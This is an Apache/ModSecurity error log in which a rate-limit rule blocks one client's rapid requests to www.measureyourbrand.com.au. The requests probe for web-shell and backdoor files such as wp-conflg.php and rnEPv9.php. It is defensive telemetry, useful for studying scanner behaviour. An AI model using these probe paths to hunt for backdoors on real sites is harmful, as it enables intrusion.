[Mon Dec 15 20:43:09.403434 2025] [:error] [pid 31374:tid 31438] [client 4.194.147.174:16107] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aUACXZzSh8b7uk6RWiFjAgAAAEY"]
[Mon Dec 15 20:43:09.770414 2025] [:error] [pid 31459:tid 31463] [client 4.194.147.174:16443] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "aUACXTqerS0TDpViRztpDQAAAAI"]
[Mon Dec 15 20:43:10.020507 2025] [:error] [pid 31459:tid 31469] [client 4.194.147.174:16251] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "aUACXjqerS0TDpViRztpDwAAAAg"]
[Mon Dec 15 20:43:10.413864 2025] [:error] [pid 31459:tid 31482] [client 4.194.147.174:16183] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "aUACXjqerS0TDpViRztpEgAAABU"]
[Mon Dec 15 20:43:10.673512 2025] [:error] [pid 31459:tid 31485] [client 4.194.147.174:16112] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nope.php"] [unique_id "aUACXjqerS0TDpViRztpEwAAABg"]
[Mon Dec 15 20:43:10.923045 2025] [:error] [pid 31459:tid 31473] [client 4.194.147.174:15957] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aUACXjqerS0TDpViRztpFQAAAAw"]
[Mon Dec 15 20:43:11.177307 2025] [:error] [pid 31459:tid 31479] [client 4.194.147.174:16164] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aUACXzqerS0TDpViRztpFgAAABI"]
[Mon Dec 15 20:43:11.487316 2025] [:error] [pid 31372:tid 31379] [client 4.194.147.174:16156] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aUACXwN06qRtpJxyxHiiGwAAAIM"]
[Mon Dec 15 20:43:11.967181 2025] [:error] [pid 52155:tid 52177] [client 4.194.147.174:16186] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/js.php"] [unique_id "aUACXxaJK6javjid3xy3VgAAARM"]
[Mon Dec 15 20:43:12.373595 2025] [:error] [pid 52155:tid 52158] [client 4.194.147.174:16102] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aUACYBaJK6javjid3xy3WAAAAQA"]
[Mon Dec 15 20:43:12.740264 2025] [:error] [pid 52155:tid 52164] [client 4.194.147.174:16255] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aUACYBaJK6javjid3xy3WgAAAQY"]
[Mon Dec 15 20:43:13.241649 2025] [:error] [pid 52155:tid 52163] [client 4.194.147.174:16104] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aUACYRaJK6javjid3xy3XAAAAQU"]
[Mon Dec 15 20:43:13.791844 2025] [:error] [pid 31459:tid 31469] [client 4.194.147.174:16005] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/upgrade/index.php"] [unique_id "aUACYTqerS0TDpViRztpHgAAAAg"]
[Mon Dec 15 20:43:14.346979 2025] [:error] [pid 52155:tid 52159] [client 4.194.147.174:16187] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/media.php"] [unique_id "aUACYhaJK6javjid3xy3XwAAAQE"]
[Mon Dec 15 20:43:14.837148 2025] [:error] [pid 52155:tid 52179] [client 4.194.147.174:16157] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/media.php"] [unique_id "aUACYhaJK6javjid3xy3YQAAARU"]
[Mon Dec 15 20:43:15.116334 2025] [:error] [pid 31459:tid 31485] [client 4.194.147.174:16121] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/media.php"] [unique_id "aUACYzqerS0TDpViRztpIwAAABg"]
[Mon Dec 15 20:43:15.491497 2025] [:error] [pid 31459:tid 31478] [client 4.194.147.174:16075] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/media.php"] [unique_id "aUACYzqerS0TDpViRztpJgAAABE"]
[Mon Dec 15 20:43:15.699897 2025] [:error] [pid 52155:tid 52164] [client 4.194.147.174:16037] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aUACYxaJK6javjid3xy3ZAAAAQY"]
[Mon Dec 15 20:43:16.075013 2025] [:error] [pid 52155:tid 52176] [client 4.194.147.174:16244] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aUACZBaJK6javjid3xy3ZQAAARI"]
[Mon Dec 15 20:43:16.297696 2025] [:error] [pid 31459:tid 31480] [client 4.194.147.174:16079] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aUACZDqerS0TDpViRztpKAAAABM"]
[Mon Dec 15 20:43:16.354702 2025] [:error] [pid 52155:tid 52159] [client 4.194.147.174:16187] [client 4.194.147.174] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "188.239.191.25_cf8bf968aa349942c116d0a4c20de363d89efceb"): Internal error (specific information not available) [hostname "www.measureyourbrand.com.au"] [uri "/media.php"] [unique_id "aUACYhaJK6javjid3xy3XwAAAQE"]
[Mon Dec 15 20:43:16.566095 2025] [:error] [pid 31459:tid 31477] [client 4.194.147.174:16021] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aUACZDqerS0TDpViRztpKQAAABA"]
[Mon Dec 15 20:43:17.144928 2025] [:error] [pid 52155:tid 52178] [client 4.194.147.174:16076] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aUACZRaJK6javjid3xy3agAAARQ"]
[Mon Dec 15 20:43:17.698227 2025] [:error] [pid 52155:tid 52179] [client 4.194.147.174:16378] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aUACZRaJK6javjid3xy3bQAAARU"]
[Mon Dec 15 20:43:18.106600 2025] [:error] [pid 31373:tid 31411] [client 4.194.147.174:16172] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aUACZnFdnrU7ASwItVLh6gAAAMY"]
[Mon Dec 15 20:43:18.399365 2025] [:error] [pid 31459:tid 31474] [client 4.194.147.174:16091] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/default.php"] [unique_id "aUACZjqerS0TDpViRztpLgAAAA0"]
[Mon Dec 15 20:43:18.700067 2025] [:error] [pid 31374:tid 31450] [client 4.194.147.174:16103] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aUACZpzSh8b7uk6RWiFjCwAAAFI"]
[Mon Dec 15 20:43:19.159409 2025] [:error] [pid 52155:tid 52166] [client 4.194.147.174:16092] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aUACZxaJK6javjid3xy3eAAAAQg"]
[Mon Dec 15 20:43:19.892476 2025] [:error] [pid 52155:tid 52179] [client 4.194.147.174:16177] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aUACZxaJK6javjid3xy3fAAAARU"]
[Mon Dec 15 20:43:20.444085 2025] [:error] [pid 31459:tid 31476] [client 4.194.147.174:16058] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aUACaDqerS0TDpViRztpMQAAAA8"]
[Mon Dec 15 20:43:21.070487 2025] [:error] [pid 52155:tid 52164] [client 4.194.147.174:15945] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "aUACaRaJK6javjid3xy3gwAAAQY"]
[Mon Dec 15 20:43:21.349173 2025] [:error] [pid 31373:tid 31405] [client 4.194.147.174:16127] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "aUACaXFdnrU7ASwItVLh7AAAAMA"]
[Mon Dec 15 20:43:21.663862 2025] [:error] [pid 31373:tid 31423] [client 4.194.147.174:16101] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "aUACaXFdnrU7ASwItVLh7QAAANI"]
[Mon Dec 15 20:43:21.859718 2025] [:error] [pid 52155:tid 52173] [client 4.194.147.174:16010] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-load.php"] [unique_id "aUACaRaJK6javjid3xy3iAAAAQ8"]
[Mon Dec 15 20:43:22.177544 2025] [:error] [pid 31459:tid 31481] [client 4.194.147.174:16263] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sko.php"] [unique_id "aUACajqerS0TDpViRztpNgAAABQ"]
[Mon Dec 15 20:43:22.839597 2025] [:error] [pid 31373:tid 31413] [client 4.194.147.174:16110] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sko.php"] [unique_id "aUACanFdnrU7ASwItVLh7wAAAMg"]
[Mon Dec 15 20:43:23.304876 2025] [:error] [pid 52155:tid 52170] [client 4.194.147.174:16185] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sko.php"] [unique_id "aUACaxaJK6javjid3xy3jgAAAQw"]
[Mon Dec 15 20:43:23.495489 2025] [:error] [pid 31459:tid 31472] [client 4.194.147.174:16166] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sko.php"] [unique_id "aUACazqerS0TDpViRztpOAAAAAs"]
[Mon Dec 15 20:43:23.759127 2025] [:error] [pid 31459:tid 31483] [client 4.194.147.174:16140] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aUACazqerS0TDpViRztpOQAAABY"]
[Mon Dec 15 20:43:24.208464 2025] [:error] [pid 31374:tid 31451] [client 4.194.147.174:16035] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aUACbJzSh8b7uk6RWiFjDAAAAFM"]
[Mon Dec 15 20:43:24.455713 2025] [:error] [pid 31374:tid 31448] [client 4.194.147.174:16003] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aUACbJzSh8b7uk6RWiFjDQAAAFA"]
[Mon Dec 15 20:43:24.835214 2025] [:error] [pid 31459:tid 31463] [client 4.194.147.174:16031] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aUACbDqerS0TDpViRztpOwAAAAI"]
[Mon Dec 15 20:43:25.172021 2025] [:error] [pid 52155:tid 52164] [client 4.194.147.174:16100] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aUACbRaJK6javjid3xy3lwAAAQY"]
[Mon Dec 15 20:43:25.407059 2025] [:error] [pid 31372:tid 31395] [client 4.194.147.174:16179] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aUACbQN06qRtpJxyxHiiIAAAAJM"]
[Mon Dec 15 20:43:25.855793 2025] [:error] [pid 52155:tid 52182] [client 4.194.147.174:16072] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aUACbRaJK6javjid3xy3mwAAARg"]
[Mon Dec 15 20:43:26.415928 2025] [:error] [pid 52155:tid 52173] [client 4.194.147.174:16242] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rnEPv9.php"] [unique_id "aUACbhaJK6javjid3xy3oQAAAQ8"]
[Mon Dec 15 20:43:26.740701 2025] [:error] [pid 52155:tid 52159] [client 4.194.147.174:16080] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/png.php"] [unique_id "aUACbhaJK6javjid3xy3pQAAAQE"]
[Mon Dec 15 20:43:27.041146 2025] [:error] [pid 31459:tid 31476] [client 4.194.147.174:16126] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/png.php"] [unique_id "aUACbzqerS0TDpViRztpPQAAAA8"]
[Mon Dec 15 20:43:27.503595 2025] [:error] [pid 31374:tid 31452] [client 4.194.147.174:16134] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/png.php"] [unique_id "aUACb5zSh8b7uk6RWiFjFAAAAFQ"]
[Mon Dec 15 20:43:27.729611 2025] [:error] [pid 52155:tid 52172] [client 4.194.147.174:16083] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/png.php"] [unique_id "aUACbxaJK6javjid3xy3swAAAQ4"]
[Mon Dec 15 20:43:28.021495 2025] [:error] [pid 52155:tid 52176] [client 4.194.147.174:16073] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/log.php"] [unique_id "aUACcBaJK6javjid3xy3uAAAARI"]
[Mon Dec 15 20:43:28.486294 2025] [:error] [pid 31374:tid 31432] [client 4.194.147.174:16007] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/log.php"] [unique_id "aUACcJzSh8b7uk6RWiFjFwAAAEA"]
[Mon Dec 15 20:43:28.720293 2025] [:error] [pid 31459:tid 31481] [client 4.194.147.174:16170] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/log.php"] [unique_id "aUACcDqerS0TDpViRztpQgAAABQ"]
[Mon Dec 15 20:43:29.001142 2025] [:error] [pid 31372:tid 31400] [client 4.194.147.174:16071] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/log.php"] [unique_id "aUACcQN06qRtpJxyxHiiIwAAAJg"]
[Mon Dec 15 20:43:29.539615 2025] [:error] [pid 31373:tid 31427] [client 4.194.147.174:16045] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aUACcXFdnrU7ASwItVLiBwAAANY"]
[Mon Dec 15 20:43:29.791126 2025] [:error] [pid 31372:tid 31397] [client 4.194.147.174:16015] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aUACcQN06qRtpJxyxHiiJwAAAJU"]
